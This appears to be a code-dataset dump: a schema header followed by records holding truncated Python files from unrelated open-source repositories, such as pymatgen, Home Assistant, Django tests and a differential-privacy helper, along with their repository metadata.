hexsha
stringlengths
40
40
size
int64
3
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
972
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
972
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
972
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
3
1.03M
avg_line_length
float64
1.13
941k
max_line_length
int64
2
941k
alphanum_fraction
float64
0
1
26f2fb72eab6c0a54f4950a2e8448664647fba79
21,009
py
Python
pymatgen/analysis/structure_analyzer.py
naik-aakash/pymatgen
394e0d71bf1d1025fcf75498cbb16aa3f41ce78c
[ "MIT" ]
1
2022-03-24T04:12:16.000Z
2022-03-24T04:12:16.000Z
pymatgen/analysis/structure_analyzer.py
naik-aakash/pymatgen
394e0d71bf1d1025fcf75498cbb16aa3f41ce78c
[ "MIT" ]
null
null
null
pymatgen/analysis/structure_analyzer.py
naik-aakash/pymatgen
394e0d71bf1d1025fcf75498cbb16aa3f41ce78c
[ "MIT" ]
null
null
null
# Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. """ This module provides classes to perform topological analyses of structures. """ __author__ = "Shyue Ping Ong, Geoffroy Hautier, Sai Jayaraman" __copyright__ = "Copyright 2011, The Materials Project" import collections im...
36.473958
112
0.61169
e3c5983a437b266b111301da20e5bcb0c9225006
84
py
Python
cerver/threads/__init__.py
ermiry-com/py-cerver
b2db27a7e41a2dd2511882290a2d0de4b7ee82db
[ "MIT" ]
5
2021-03-25T20:33:55.000Z
2021-12-21T05:03:23.000Z
cerver/threads/__init__.py
ermiry-com/py-cerver
b2db27a7e41a2dd2511882290a2d0de4b7ee82db
[ "MIT" ]
5
2021-03-31T05:54:07.000Z
2021-07-01T01:21:39.000Z
cerver/threads/__init__.py
ermiry-com/py-cerver
b2db27a7e41a2dd2511882290a2d0de4b7ee82db
[ "MIT" ]
7
2021-03-25T20:33:58.000Z
2021-12-29T05:28:56.000Z
from .bsem import * from .job import * from .threads import * from .worker import *
16.8
22
0.714286
622b5120208d015056673874ebab33e5d4c35d51
5,461
py
Python
main.py
gamedx/tiny_lips
15bf4f5f7845c31d802ba2bc698ac6c439bdfb02
[ "Apache-2.0" ]
null
null
null
main.py
gamedx/tiny_lips
15bf4f5f7845c31d802ba2bc698ac6c439bdfb02
[ "Apache-2.0" ]
null
null
null
main.py
gamedx/tiny_lips
15bf4f5f7845c31d802ba2bc698ac6c439bdfb02
[ "Apache-2.0" ]
null
null
null
import os import sys import numpy as np import tensorflow as tf from tqdm import tqdm # from tensorflow.contrib import tpu # from tensorflow.contrib.cluster_resolver import TPUClusterResolver from config import cfg from utils import load_data from capsNet import CapsNet # os.environ["CUDA_VISIBLE_DEVICE...
39.572464
136
0.587438
f8d31a9de3cfeaf3a917c52d89ea7442ba63ba9f
6,738
py
Python
src/utils/output.py
tylerbrockett/reddit-bots
a26f9481d2f13e14bc9d0b6e811d130be9f0d1c9
[ "MIT" ]
107
2016-12-09T06:32:14.000Z
2022-03-28T01:17:25.000Z
src/utils/output.py
tylerbrockett/reddit-bots
a26f9481d2f13e14bc9d0b6e811d130be9f0d1c9
[ "MIT" ]
11
2017-10-03T02:27:25.000Z
2021-11-07T19:04:38.000Z
src/utils/output.py
tylerbrockett/reddit-bots
a26f9481d2f13e14bc9d0b6e811d130be9f0d1c9
[ "MIT" ]
12
2017-01-28T06:48:04.000Z
2022-01-15T18:27:20.000Z
""" ========================================== Author: Tyler Brockett Username: /u/tylerbrockett Description: Alert Bot ========================================== """ import traceback from utils.logger import Logger from utils.color import Color def subscribe_exception(username, item): ...
29.168831
78
0.412734
98da95c26c49e00f421e2acb4249e0c3f9032be5
662
py
Python
auto/www/app.py
mawentao119/bigface
e6f14809b9dc0785ad7cdeccd38ed87de2b925a6
[ "ECL-2.0", "Apache-2.0", "MIT" ]
null
null
null
auto/www/app.py
mawentao119/bigface
e6f14809b9dc0785ad7cdeccd38ed87de2b925a6
[ "ECL-2.0", "Apache-2.0", "MIT" ]
1
2021-08-13T10:43:31.000Z
2021-08-13T10:43:31.000Z
auto/www/app.py
mawentao119/bigface
e6f14809b9dc0785ad7cdeccd38ed87de2b925a6
[ "ECL-2.0", "Apache-2.0", "MIT" ]
null
null
null
# -*- coding: utf-8 -*- __author__ = "苦叶子" """ Modified by mawentao119@gmail.com """ from flask import Flask from flask_apscheduler import APScheduler from auto.configuration import config scheduler = APScheduler() def create_app(config_name): app = Flask(__name__) app.config.from_object(config[config_na...
20.060606
63
0.73716
3a8636804488288b9670eebf8eec472f1e5ac399
27,760
py
Python
src/k8s-extension/azext_k8s_extension/vendored_sdks/v2020_07_01_preview/operations/_source_control_configurations_operations.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
1
2022-01-24T08:54:57.000Z
2022-01-24T08:54:57.000Z
src/k8s-extension/azext_k8s_extension/vendored_sdks/v2020_07_01_preview/operations/_source_control_configurations_operations.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
9
2022-03-25T19:35:49.000Z
2022-03-31T06:09:47.000Z
src/k8s-extension/azext_k8s_extension/vendored_sdks/v2020_07_01_preview/operations/_source_control_configurations_operations.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
1
2022-02-14T21:43:29.000Z
2022-02-14T21:43:29.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
47.944732
288
0.698271
70fe31e64d6808850d4cff25278b8ec4963b7986
17,636
py
Python
homeassistant/components/logbook/__init__.py
maexono/home-assistant
c174b83f5408124fc7834e8282969a1e8f9cca16
[ "Apache-2.0" ]
2
2021-03-06T03:39:57.000Z
2021-11-14T19:53:39.000Z
homeassistant/components/logbook/__init__.py
maexono/home-assistant
c174b83f5408124fc7834e8282969a1e8f9cca16
[ "Apache-2.0" ]
4
2021-02-08T20:31:45.000Z
2022-03-11T23:48:46.000Z
homeassistant/components/logbook/__init__.py
maexono/home-assistant
c174b83f5408124fc7834e8282969a1e8f9cca16
[ "Apache-2.0" ]
3
2016-08-26T12:32:49.000Z
2020-02-26T21:01:35.000Z
"""Event parser and human readable log generator.""" from datetime import timedelta from itertools import groupby import logging import voluptuous as vol from homeassistant.loader import bind_hass from homeassistant.components import sun from homeassistant.components.http import HomeAssistantView from homeassistant.c...
34.78501
78
0.592425
943c3de5b0ade7c099b148c4cda216418144bbf3
18,316
py
Python
src/gluonts/nursery/SCott/pts/dataset/recipe.py
KelvinKan/gluon-ts
72e99c7f4c2538bf1fefaa78ee548139cfa5907a
[ "Apache-2.0" ]
9
2021-06-17T11:00:41.000Z
2021-12-14T06:09:40.000Z
src/gluonts/nursery/SCott/pts/dataset/recipe.py
KelvinKan/gluon-ts
72e99c7f4c2538bf1fefaa78ee548139cfa5907a
[ "Apache-2.0" ]
1
2021-12-01T17:42:23.000Z
2021-12-13T12:57:51.000Z
src/gluonts/nursery/SCott/pts/dataset/recipe.py
KelvinKan/gluon-ts
72e99c7f4c2538bf1fefaa78ee548139cfa5907a
[ "Apache-2.0" ]
5
2021-06-17T11:00:43.000Z
2022-03-18T13:50:52.000Z
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://www.apache.org/licenses/LICENSE-2.0 # # or in the "license...
30.27438
88
0.602588
da901aa0cd397ee7514c7022a14486d9f7b2dc62
3,554
py
Python
boards/tests/test_view_reply_topic.py
EndermanOfCoding/django-beginners-guide
117453fcdb233e7fb81e910ebbfbdf8f6c79c74a
[ "MIT" ]
1,106
2017-09-04T05:06:27.000Z
2022-03-29T03:53:37.000Z
boards/tests/test_view_reply_topic.py
EndermanOfCoding/django-beginners-guide
117453fcdb233e7fb81e910ebbfbdf8f6c79c74a
[ "MIT" ]
28
2017-09-27T13:34:11.000Z
2021-08-30T06:13:25.000Z
boards/tests/test_view_reply_topic.py
EndermanOfCoding/django-beginners-guide
117453fcdb233e7fb81e910ebbfbdf8f6c79c74a
[ "MIT" ]
455
2017-09-04T11:50:58.000Z
2022-03-31T18:44:16.000Z
from django.contrib.auth.models import User from django.test import TestCase from django.urls import resolve, reverse from ..forms import PostForm from ..models import Board, Post, Topic from ..views import reply_topic class ReplyTopicTestCase(TestCase): ''' Base test case to be used in all `reply_topic` vie...
35.54
109
0.668261
81584bd6ddff3a36b57f51c5dedeebad3d783489
2,814
py
Python
geometry_analysis/tests/test_geometry_analysis.py
Sekie/geometry_analysis
e14435f921257cc7ad6e9d7178127167e580c813
[ "BSD-3-Clause" ]
null
null
null
geometry_analysis/tests/test_geometry_analysis.py
Sekie/geometry_analysis
e14435f921257cc7ad6e9d7178127167e580c813
[ "BSD-3-Clause" ]
1
2021-09-17T18:19:21.000Z
2021-09-17T18:19:21.000Z
geometry_analysis/tests/test_geometry_analysis.py
Sekie/geometry_analysis
e14435f921257cc7ad6e9d7178127167e580c813
[ "BSD-3-Clause" ]
null
null
null
""" Unit and regression test for the geometry_analysis package. """ # Import package, test suite, and other packages as needed import geometry_analysis import pytest import sys import numpy as np @pytest.fixture() def water_molecule(): name = "water" symbol = ["H", "O", "H"] coordinates = np.array([[2, 0,...
33.903614
98
0.677328
d785ce502914945ebf2db6222213a26c35383793
848
py
Python
spikeinterface/extractors/neoextractors/blackrock.py
khl02007/spikeinterface
a29739a2ecc1d27af0fdb7adfed895aa9fdd0be4
[ "MIT" ]
116
2019-07-12T14:33:43.000Z
2022-03-29T01:10:00.000Z
spikeinterface/extractors/neoextractors/blackrock.py
khl02007/spikeinterface
a29739a2ecc1d27af0fdb7adfed895aa9fdd0be4
[ "MIT" ]
424
2019-07-15T13:29:34.000Z
2022-03-30T13:30:45.000Z
spikeinterface/extractors/neoextractors/blackrock.py
khl02007/spikeinterface
a29739a2ecc1d27af0fdb7adfed895aa9fdd0be4
[ "MIT" ]
60
2019-08-26T11:59:07.000Z
2022-03-24T20:05:38.000Z
from .neobaseextractor import NeoBaseRecordingExtractor, NeoBaseSortingExtractor class BlackrockRecordingExtractor(NeoBaseRecordingExtractor): """ Class for reading neuralynx folder Based on neo.rawio.NeuralynxRawIO Parameters ---------- file_path: str The xml file. stre...
26.5
83
0.712264
1a743a0f728bd4ee015d2f2d44096e6bd7a2c0fc
1,369
py
Python
sensorgridapi/sensordata/migrations/0001_initial.py
Verdinjoshua26/SensorGridAPI
1b7c837c557df75f4e9d51bd2552550603c49053
[ "MIT" ]
8
2018-01-28T00:21:58.000Z
2021-06-18T17:06:29.000Z
sensorgridapi/sensordata/migrations/0001_initial.py
Verdinjoshua26/SensorGridAPI
1b7c837c557df75f4e9d51bd2552550603c49053
[ "MIT" ]
4
2020-06-05T17:13:51.000Z
2021-06-10T20:27:59.000Z
sensorgridapi/sensordata/migrations/0001_initial.py
Verdinjoshua26/SensorGridAPI
1b7c837c557df75f4e9d51bd2552550603c49053
[ "MIT" ]
4
2018-03-16T16:22:19.000Z
2021-06-18T17:07:31.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-01-18 16:04 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Sensor...
38.027778
114
0.579985
61cf15100673ec78e586096ff27721941257474e
467
py
Python
samples/notifications/notification_channel_verify.py
prince737/security-advisor-sdk-python
a06f6fe8180377a6ca8291ba74cff326cb56b539
[ "Apache-2.0" ]
null
null
null
samples/notifications/notification_channel_verify.py
prince737/security-advisor-sdk-python
a06f6fe8180377a6ca8291ba74cff326cb56b539
[ "Apache-2.0" ]
17
2020-05-30T11:21:06.000Z
2021-04-20T10:01:09.000Z
samples/notifications/notification_channel_verify.py
prince737/security-advisor-sdk-python
a06f6fe8180377a6ca8291ba74cff326cb56b539
[ "Apache-2.0" ]
4
2020-05-18T12:38:03.000Z
2021-04-20T07:13:47.000Z
from ibm_cloud_security_advisor import NotificationsApiV1 from ibm_cloud_sdk_core.authenticators import IAMAuthenticator authenticator = IAMAuthenticator( apikey='abc') notifications_service =NotificationsApiV1(authenticator=authenticator) notifications_service.set_service_url("https://us-south.secadvisor.cloud....
29.1875
96
0.835118
ffa6b15d7da49d5ec30a02df4a6762c28138808e
3,177
py
Python
lib/galaxy/files/sources/s3fs.py
quacksawbones/galaxy-1
65f7259b29d3886e526d9be670c60d9da9fbe038
[ "CC-BY-3.0" ]
1,085
2015-02-18T16:14:38.000Z
2022-03-30T23:52:07.000Z
lib/galaxy/files/sources/s3fs.py
quacksawbones/galaxy-1
65f7259b29d3886e526d9be670c60d9da9fbe038
[ "CC-BY-3.0" ]
11,253
2015-02-18T17:47:32.000Z
2022-03-31T21:47:03.000Z
lib/galaxy/files/sources/s3fs.py
quacksawbones/galaxy-1
65f7259b29d3886e526d9be670c60d9da9fbe038
[ "CC-BY-3.0" ]
1,000
2015-02-18T16:18:10.000Z
2022-03-29T08:22:56.000Z
import functools import logging import os from typing import Any, Dict, List try: import s3fs except ImportError: s3fs = None from ..sources import BaseFilesSource DEFAULT_ENFORCE_SYMLINK_SECURITY = True DEFAULT_DELETE_ON_REALIZE = False log = logging.getLogger(__name__) class S3FsFilesSource(BaseFilesSou...
34.912088
97
0.623229
26ce187901749ee264042413abf4cf54385d60ac
1,582
py
Python
2020/19/code.py
robingenz/advent-of-code
b2ef6ecc09cd60ed1263576d9b0c69bc2afd3bd0
[ "MIT" ]
null
null
null
2020/19/code.py
robingenz/advent-of-code
b2ef6ecc09cd60ed1263576d9b0c69bc2afd3bd0
[ "MIT" ]
null
null
null
2020/19/code.py
robingenz/advent-of-code
b2ef6ecc09cd60ed1263576d9b0c69bc2afd3bd0
[ "MIT" ]
null
null
null
import re def get_input() -> list: with open(f"{__file__.rstrip('code.py')}input.txt") as f: return [l.strip() for l in f.readlines()] def parse_input(lines: list) -> dict: obj = { "rules": dict(), "messages": [] } for line in lines: if ":" in line: parts ...
24.338462
71
0.541719
50d2699c5d4fd9367973d76cbebccca3ddc07de8
4,061
py
Python
tests/integration/test_suite.py
TobiasUhmann/entity-context-crawler
71fe24679e470ffa8077bc98fc02a022ed1e5781
[ "MIT" ]
1
2021-06-02T07:53:54.000Z
2021-06-02T07:53:54.000Z
tests/integration/test_suite.py
TobiasUhmann/entity-context-crawler
71fe24679e470ffa8077bc98fc02a022ed1e5781
[ "MIT" ]
4
2021-05-30T12:51:41.000Z
2021-06-01T13:13:32.000Z
tests/integration/test_suite.py
TobiasUhmann/entity-context-crawler
71fe24679e470ffa8077bc98fc02a022ed1e5781
[ "MIT" ]
1
2022-01-31T08:08:06.000Z
2022-01-31T08:08:06.000Z
import logging import os import sqlite3 import unittest from io import StringIO from unittest.mock import patch from entity_context_crawler.__main__ import main class TestSuite(unittest.TestCase): @patch('sys.stdout', new_callable=StringIO) def test_help(self, mock_stdout): # # WHEN running ...
28.598592
96
0.581876
5ede2eff2363ca35d885b32e37ec37f02d912e82
5,810
py
Python
Lib/site-packages/prettierfier/prettierfier.py
fochoao/cpython
3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9
[ "bzip2-1.0.6", "0BSD" ]
3
2020-07-07T22:31:47.000Z
2021-03-25T23:32:29.000Z
Lib/site-packages/prettierfier/prettierfier.py
fochoao/cpython
3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9
[ "bzip2-1.0.6", "0BSD" ]
20
2021-05-03T18:02:23.000Z
2022-03-12T12:01:04.000Z
Lib/site-packages/prettierfier/prettierfier.py
fochoao/cpython
3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9
[ "bzip2-1.0.6", "0BSD" ]
null
null
null
"""Intelligently pretty-print HTML/XML with inline tags. prettify_xml() can be used for any XML text. prettify_html() is specifically for BeautifulSoup.prettify() output, as it does not add tag linebreaks. """ import re import xml.dom.minidom as xmldom class RegExSub: """Dict factory for regex and correspondi...
35
79
0.595525
7ff8588947c069a65ce4fc9ca58439fd1e5514fa
101
py
Python
python/python_notes/module_and_package/demo_init/core.py
zhaoace/codecraft
bf06267e86bd7386714911b0df4aa0ca0a91d882
[ "Unlicense" ]
null
null
null
python/python_notes/module_and_package/demo_init/core.py
zhaoace/codecraft
bf06267e86bd7386714911b0df4aa0ca0a91d882
[ "Unlicense" ]
null
null
null
python/python_notes/module_and_package/demo_init/core.py
zhaoace/codecraft
bf06267e86bd7386714911b0df4aa0ca0a91d882
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 def hello(arg): print "init says hello to "+arg+" !"
11.222222
40
0.60396
bb7b1c64c866a095fd4e0c626ae0034b064f4d32
1,353
py
Python
pykrev/plotting/unique_plot.py
Kzra/pykrev
1a328fccded962f309e951c8509b87a82c3d3ae6
[ "MIT" ]
4
2021-02-18T10:19:13.000Z
2021-10-04T16:17:30.000Z
pykrev/plotting/unique_plot.py
erikafreeman/pykrev
1a328fccded962f309e951c8509b87a82c3d3ae6
[ "MIT" ]
null
null
null
pykrev/plotting/unique_plot.py
erikafreeman/pykrev
1a328fccded962f309e951c8509b87a82c3d3ae6
[ "MIT" ]
1
2021-09-23T16:03:03.000Z
2021-09-23T16:03:03.000Z
from .multi_van_krevelen_plot import multi_van_krevelen_plot from ..formula import unique_formula from ..formula import element_counts from ..formula import element_ratios def unique_plot(*groups, **kwargs): """ Docstring for function PyKrev.unique_plot ==================== This function takes multiple ...
32.214286
146
0.71323
276e7d2848f47603927fb96d443c5b877e397d0f
2,380
py
Python
examples/pytest/test_demo.py
estyrke/snapshottest
48528b7679987c979c9fa4b8af1e57db601fdb2f
[ "MIT" ]
483
2017-04-10T03:29:44.000Z
2022-03-30T09:24:05.000Z
examples/pytest/test_demo.py
estyrke/snapshottest
48528b7679987c979c9fa4b8af1e57db601fdb2f
[ "MIT" ]
120
2017-04-14T21:35:41.000Z
2022-02-28T13:20:17.000Z
examples/pytest/test_demo.py
estyrke/snapshottest
48528b7679987c979c9fa4b8af1e57db601fdb2f
[ "MIT" ]
90
2017-04-14T21:37:16.000Z
2022-02-19T16:30:21.000Z
# -*- coding: utf-8 -*- from collections import defaultdict from snapshottest.file import FileSnapshot def api_client_get(url): return { "url": url, } def test_me_endpoint(snapshot): """Testing the API for /me""" my_api_response = api_client_get("/me") snapshot.assert_match(my_api_respo...
26.741573
84
0.684034
f17521b30644d9c54d8f81f2dc405d17d27b4788
496
py
Python
c4d_prototype_converter/res.py
OutHereVR/c4d-prototype-converter
6c0fcc03abdf5b545b6aa0314790359e455ac192
[ "MIT" ]
18
2018-02-26T18:43:22.000Z
2021-08-08T07:50:28.000Z
c4d_prototype_converter/res.py
OutHereVR/c4d-prototype-converter
6c0fcc03abdf5b545b6aa0314790359e455ac192
[ "MIT" ]
51
2018-02-15T21:02:58.000Z
2021-07-07T15:59:46.000Z
c4d_prototype_converter/res.py
OutHereVR/c4d-prototype-converter
6c0fcc03abdf5b545b6aa0314790359e455ac192
[ "MIT" ]
4
2018-02-17T01:35:02.000Z
2019-10-08T22:49:42.000Z
import c4d import os import sys __res__ = None plugin_dir = None def path(*parts): return os.path.normpath(os.path.join(plugin_dir, *parts)) def local(*parts, **kwargs): _stackdepth = kwargs.get('_stackdepth', 0) parent_dir = os.path.dirname(sys._getframe(_stackdepth+1).f_globals['__file__']) return os.pat...
20.666667
82
0.715726
be6a312db642cd46856181519dc04c6c68fbec15
1,033
py
Python
utilities/nltk_lm_train.py
luciabura/study-helper
5f578af64c9554b9bf1cf247ee1ff6e85384e81d
[ "MIT" ]
2
2019-08-31T15:33:10.000Z
2019-11-24T00:32:58.000Z
utilities/nltk_lm_train.py
luciabura/study-helper
5f578af64c9554b9bf1cf247ee1ff6e85384e81d
[ "MIT" ]
null
null
null
utilities/nltk_lm_train.py
luciabura/study-helper
5f578af64c9554b9bf1cf247ee1ff6e85384e81d
[ "MIT" ]
null
null
null
import nltk from nltk.model import MLENgramModel, LaplaceNgramModel from nltk.model import build_vocabulary from nltk.model import count_ngrams import pickle from utilities.read_write import read_file import text_processing.preprocessing as preprocess if __name__ == '__main__': filepath = input("Training input for...
31.30303
82
0.714424
62d0db99eb55ec12225984ca4e09afe4f97c403a
650
py
Python
hb_quant/huobi/model/trade/feerate.py
wenli135/Binance-volatility-trading-bot
75a03ad61df0e95492128fb6f1f419d4dc256ab3
[ "MIT" ]
611
2019-07-10T08:17:50.000Z
2022-03-21T18:56:39.000Z
hb_quant/huobi/model/trade/feerate.py
wenli135/Binance-volatility-trading-bot
75a03ad61df0e95492128fb6f1f419d4dc256ab3
[ "MIT" ]
105
2019-07-12T03:43:41.000Z
2022-03-30T10:33:06.000Z
hb_quant/huobi/model/trade/feerate.py
wenli135/Binance-volatility-trading-bot
75a03ad61df0e95492128fb6f1f419d4dc256ab3
[ "MIT" ]
325
2019-07-12T02:46:54.000Z
2022-03-21T18:56:41.000Z
class FeeRate: """ The account information for spot account, margin account etc. :member symbol: The symbol, like "btcusdt". maker_fee: maker fee rate taker_fee: taker fee rate """ def __init__(self): self.symbol = "" self.maker_fee = "" self.taker...
29.545455
73
0.643077
d3fbf992fc342184542652dc7c56e4eb8c07eb3e
5,414
py
Python
tests/unit/plugins/task/exporters/test_old_json_results.py
lolwww/rally
fcb1fb6c608e29dd62549cf6b3cec2e90529932f
[ "Apache-2.0" ]
263
2015-04-26T16:05:34.000Z
2022-02-28T11:17:07.000Z
tests/unit/plugins/task/exporters/test_old_json_results.py
lolwww/rally
fcb1fb6c608e29dd62549cf6b3cec2e90529932f
[ "Apache-2.0" ]
19
2015-04-23T11:53:10.000Z
2019-02-20T11:23:09.000Z
tests/unit/plugins/task/exporters/test_old_json_results.py
lolwww/rally
fcb1fb6c608e29dd62549cf6b3cec2e90529932f
[ "Apache-2.0" ]
287
2015-04-23T11:28:03.000Z
2021-09-16T13:05:53.000Z
# All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
36.33557
78
0.468969
c7a680baabb722f2d9dd742ee34e73a443519839
438
py
Python
main.py
youssef-sherif/eight-puzzle-solver
735d796a84ca1a6240e0dd383e9f46a9da3c4f7a
[ "MIT" ]
null
null
null
main.py
youssef-sherif/eight-puzzle-solver
735d796a84ca1a6240e0dd383e9f46a9da3c4f7a
[ "MIT" ]
null
null
null
main.py
youssef-sherif/eight-puzzle-solver
735d796a84ca1a6240e0dd383e9f46a9da3c4f7a
[ "MIT" ]
null
null
null
from Algorithms import Algorithms import random random_array = random.sample(range(0, 9), 9) algorithms = Algorithms([1, 2, 5, 3, 4, 0, 6, 7, 8]) # algorithms = Algorithms(random_array) done = False done = algorithms.dfs_search() # done = algorithms.bfs_search() # ...
20.857143
46
0.630137
5bc7dfeb8e4f907bbf20521e59b323bdc98eafb2
10,433
py
Python
kubernetes/client/models/v1_probe.py
lp67/python
33c5ea9835356410ce4a9fa54a02c6a2a22143c6
[ "Apache-2.0" ]
null
null
null
kubernetes/client/models/v1_probe.py
lp67/python
33c5ea9835356410ce4a9fa54a02c6a2a22143c6
[ "Apache-2.0" ]
4
2019-11-19T10:33:47.000Z
2022-03-01T03:33:52.000Z
kubernetes/client/models/v1_probe.py
mohramadan911/PythonClientAPI
5d111812c81b7a573ac8661d1aec60bb97072412
[ "Apache-2.0" ]
2
2021-08-10T16:35:31.000Z
2021-09-14T04:53:06.000Z
# coding: utf-8 """ Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: release-1.20 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import si...
33.332268
231
0.636442
c5c564eb0c40bc6c9962fd24f24e513049284c24
673
py
Python
iaso/migrations/0053_org_unit_path.py
ekhalilbsq/iaso
e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee
[ "MIT" ]
29
2020-12-26T07:22:19.000Z
2022-03-07T13:40:09.000Z
iaso/migrations/0053_org_unit_path.py
ekhalilbsq/iaso
e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee
[ "MIT" ]
150
2020-11-09T15:03:27.000Z
2022-03-07T15:36:07.000Z
iaso/migrations/0053_org_unit_path.py
ekhalilbsq/iaso
e6400c52aeb4f67ce1ca83b03efa3cb11ef235ee
[ "MIT" ]
4
2020-11-09T10:38:13.000Z
2021-10-04T09:42:47.000Z
# Generated by Django 2.1.11 on 2020-06-04 13:21 import django.contrib.postgres.indexes from django.db import migrations import django_ltree.fields class Migration(migrations.Migration): dependencies = [("iaso", "0052_fix_period_before_after")] operations = [ migrations.AddField( model_...
29.26087
118
0.656761
e83e6c53ec03f5165aff3d2ac9f55ec9affd23f9
404
py
Python
src/ixia_driver.py
QualiSystems/Ixia-Chassis-Shell-2G
bc4f55c5aff5f93654eea1c8b7b170c1b9636f81
[ "Apache-2.0" ]
null
null
null
src/ixia_driver.py
QualiSystems/Ixia-Chassis-Shell-2G
bc4f55c5aff5f93654eea1c8b7b170c1b9636f81
[ "Apache-2.0" ]
1
2020-12-08T17:44:27.000Z
2020-12-08T17:44:27.000Z
src/ixia_driver.py
QualiSystems/Ixia-Chassis-Shell-2G
bc4f55c5aff5f93654eea1c8b7b170c1b9636f81
[ "Apache-2.0" ]
1
2017-12-22T00:02:38.000Z
2017-12-22T00:02:38.000Z
from cloudshell.traffic.tg import TgChassisDriver from ixia_handler import IxiaHandler class IxiaChassis2GDriver(TgChassisDriver): def __init__(self): self.handler = IxiaHandler() def initialize(self, context): super().initialize(context) def cleanup(self): super().cleanup() ...
20.2
49
0.700495
eb469be308aa4ff514a22a5d82a26309d6b5a242
3,179
py
Python
tests/e2e_scenarios.py
iLuSIAnn/test
10d0a20dc1a646b5c1f6c7bff2960e3f5df0510e
[ "Apache-2.0" ]
null
null
null
tests/e2e_scenarios.py
iLuSIAnn/test
10d0a20dc1a646b5c1f6c7bff2960e3f5df0510e
[ "Apache-2.0" ]
null
null
null
tests/e2e_scenarios.py
iLuSIAnn/test
10d0a20dc1a646b5c1f6c7bff2960e3f5df0510e
[ "Apache-2.0" ]
null
null
null
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache 2.0 License. import os import json import http import random import infra.network import infra.proc import infra.e2e_args import infra.checker from loguru import logger as LOG def run(args): # SNIPPET_START: parsing with ...
32.438776
81
0.515256
ebd55f50c59c98656ca27bcf50eec7fad300c769
31,238
py
Python
auto_editor/__main__.py
trueMiskin/auto-editor
4a453f90361d7607a55851525e05875ba39b279b
[ "Unlicense" ]
null
null
null
auto_editor/__main__.py
trueMiskin/auto-editor
4a453f90361d7607a55851525e05875ba39b279b
[ "Unlicense" ]
null
null
null
auto_editor/__main__.py
trueMiskin/auto-editor
4a453f90361d7607a55851525e05875ba39b279b
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python3 '''__main__.py''' # Internal Libraries import os import sys import tempfile from shutil import rmtree version = '21w17a dev' def file_type(file: str) -> str: if(not os.path.isfile(file)): print('Auto-Editor could not find the file: ' + file, file=sys.stderr) sys.exit(1) ...
43.146409
114
0.589474
2d2d6e97ba1641c979d18774c08d6d459899b494
3,630
py
Python
GRAM_DP/gramdp_var.py
aitsam12/GRAM-DP_and_DP-Framework
094c6369e43adb66ba9a0a02ee3227ca8edc1b53
[ "MIT" ]
null
null
null
GRAM_DP/gramdp_var.py
aitsam12/GRAM-DP_and_DP-Framework
094c6369e43adb66ba9a0a02ee3227ca8edc1b53
[ "MIT" ]
null
null
null
GRAM_DP/gramdp_var.py
aitsam12/GRAM-DP_and_DP-Framework
094c6369e43adb66ba9a0a02ee3227ca8edc1b53
[ "MIT" ]
null
null
null
import warnings from numbers import Integral import numpy as np from numpy.core import multiarray as mu from numpy.core import umath as um import random # Gram-DP focus on bounded Differential Privacy for Variance query. def gramdp_var(array, desired_privacy, iterations): r"""Compute the differentially private va...
37.42268
155
0.65978
6fdcff7ba032bf8fc7c0bfa9bb99304679ff89d6
139,105
py
Python
toontown/coghq/SellbotLegFactorySpec.py
LittleNed/toontown-stride
1252a8f9a8816c1810106006d09c8bdfe6ad1e57
[ "Apache-2.0" ]
3
2020-01-02T08:43:36.000Z
2020-07-05T08:59:02.000Z
toontown/coghq/SellbotLegFactorySpec.py
NoraTT/Historical-Commits-Project-Altis-Source
fe88e6d07edf418f7de6ad5b3d9ecb3d0d285179
[ "Apache-2.0" ]
null
null
null
toontown/coghq/SellbotLegFactorySpec.py
NoraTT/Historical-Commits-Project-Altis-Source
fe88e6d07edf418f7de6ad5b3d9ecb3d0d285179
[ "Apache-2.0" ]
4
2019-06-20T23:45:23.000Z
2020-10-14T20:30:15.000Z
